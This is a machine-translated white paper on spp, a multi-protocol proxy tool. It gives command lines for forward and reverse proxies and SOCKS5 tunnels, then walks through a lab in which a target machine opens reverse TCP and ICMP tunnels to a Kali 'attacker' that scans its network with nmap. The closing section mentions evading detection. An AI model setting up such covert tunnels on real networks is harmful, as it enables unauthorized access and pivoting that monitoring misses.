コンテンツ
序文
このホワイトペーパーでは、マルチプロトコル双方向プロキシsppをサポートするツールについて説明します。
github:https ://github.com/esrrhs/spp
I.概要
1はじめに
2020年に新たにリリースされ、Tencentから継続的に更新され、Goで記述されています
- サポートされているプロトコル:tcp、udp、rudp(reliable udp)、ricmp(reliable icmp)、rhttp(reliable http)、kcp、quic
- サポートされているタイプ:フォワードプロキシ、リバースプロキシ、socks5フォワードプロキシ、socks5リバースプロキシ
- プロトコルとタイプの組み合わせがサポートされています
- すべてのプラットフォームをサポート
2.原則
3.使用法
(1)サーバー
サーバーのIPがwww.server.comであり、ポート8888でリッスンしていると仮定して、サーバーを起動します。
./spp -type server -proto tcp -listen :8888
他のタイプのポートやプロトコルを同時に聞くこともできます
./spp -type server -proto tcp -listen :8888 -proto rudp -listen :9999 -proto ricmp -listen 0.0.0.0
Dockerを使用することもできます
docker run --name my-server -d --restart=always --network host esrrhs/spp ./spp -proto tcp -listen :8888
(2)クライアント
tcp転送プロキシを起動し、www.server.comの8080ポートをローカル8080にマップします。これにより、ローカル8080にアクセスすることは、www.server.comの8080にアクセスすることと同じになります。
./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto tcp
tcpリバースプロキシを起動し、ローカル8080をwww.server.comの8080ポートにマップします。これにより、www.server.comの8080にアクセスすることは、ローカル8080にアクセスすることと同じになります。
./spp -name "test" -type reverse_proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto tcp
tcp forward socks5プロキシを起動し、ローカルポート8080でsocks5プロトコルを開き、サーバーを介してサーバーが配置されているネットワークにアクセスします。
./spp -name "test" -type socks5_client -server www.server.com:8888 -fromaddr :8080 -proxyproto tcp
tcpリバースsocks5プロキシを起動し、www.server.comのポート8080でsocks5プロトコルを開き、クライアントを介してクライアントが配置されているネットワークにアクセスします。
./spp -name "test" -type reverse_socks5_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto tcp
他のプロキシプロトコルの場合、たとえば、クライアントのproxyprotoパラメータを変更するだけで済みます。
# 代理udp
./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto udp
# 代理rudp
./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8081 -toaddr :8081 -proxyproto rudp
# 代理ricmp
./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8082 -toaddr :8082 -proxyproto ricmp
# 同时代理上述三种
./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto udp -fromaddr :8081 -toaddr :8081 -proxyproto rudp -fromaddr :8082 -toaddr :8082 -proxyproto ricmp
クライアントとサーバー間の内部通信も他のプロトコルに変更することができ、外部プロトコルと内部プロトコルは自動的に変換されます。例えば
# 代理tcp,内部用rudp协议转发
./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto tcp -proto rudp
# 代理tcp,内部用ricmp协议转发
./spp -name "test" -type proxy_client -server www.server.com -fromaddr :8080 -toaddr :8080 -proxyproto tcp -proto ricmp
# 代理udp,内部用tcp协议转发
./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto udp -proto tcp
# 代理udp,内部用kcp协议转发
./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto udp -proto kcp
# 代理tcp,内部用quic协议转发
./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto tcp -proto quic
# 代理tcp,内部用rhttp协议转发
./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto tcp -proto rhttp
Dockerを使用することもできます
docker run --name my-client -d --restart=always --network host esrrhs/spp ./spp -name "test" -type proxy_client -server www.server.com:8888 -fromaddr :8080 -toaddr :8080 -proxyproto tcp
2.練習
1.テストシナリオ
攻撃者(サーバー):kali 192.168.10.128
ターゲット(クライアント):ubuntu 192.168.10.129
ターゲットマシンは攻撃側のマシンにpingを実行できます
2.TCP逆接続
(1)サーバー
ポート8888、TCPプロトコルをリッスンします
./spp -type server -proto tcp -listen :8888
(2)クライアント
リバースプロキシ、TCPプロトコルを開始し、サーバーのポート2222をクライアントのポート80にマップします。つまり、サーバーが自身のポート2222にアクセスすることは、クライアントのポート80にアクセスすることと同じです。
./spp -name "test" -type reverse_proxy_client -server 192.168.10.128:8888 -fromaddr :2222 -toaddr :80 -proxyproto tcp
ポート80でApacheを開いて確認できます
(3)トンネルの設置
サーバーはポート2222にアクセスし、クライアント側のポート80にマップして、Apacheインターフェイスを開きます。
(4)パッケージを見てください
接続を確立し、ポート、ユーザー、およびパスワードを返します
暗号化されたポート80を使用します
3.ICMPSOCKS5プロキシ逆接続
(1)サーバー
./spp -type server -proto ricmp -listen 0.0.0.0
(2)クライアント
./spp -name "test" -type reverse_socks5_client -server 192.168.10.128 -fromaddr :1080 -proxyproto tcp -proto ricmp
(3)トンネルを設置する
プロキシチェーンを設定
してからプロキシを介してnmapを実行
すると、次のログが出力されます
(4)パッケージを見てください
ハートビートパケット
nmap中に接続、リターンポート、ユーザー、およびパスワードを確立します
3.探索する
1.ソースコードと分析
深く研究できる非常に大きなgo-engineライブラリを維持しました
2.検出とバイパス
spp機能が完成しすぎているため、特定の機能を使用した場合のトラフィック特性に加えて、最終的な動作からさらに多くのことを考慮することができます。
エピローグ
sppは、統合されたオンラインツールを完成させるために大きな一歩を踏み出しました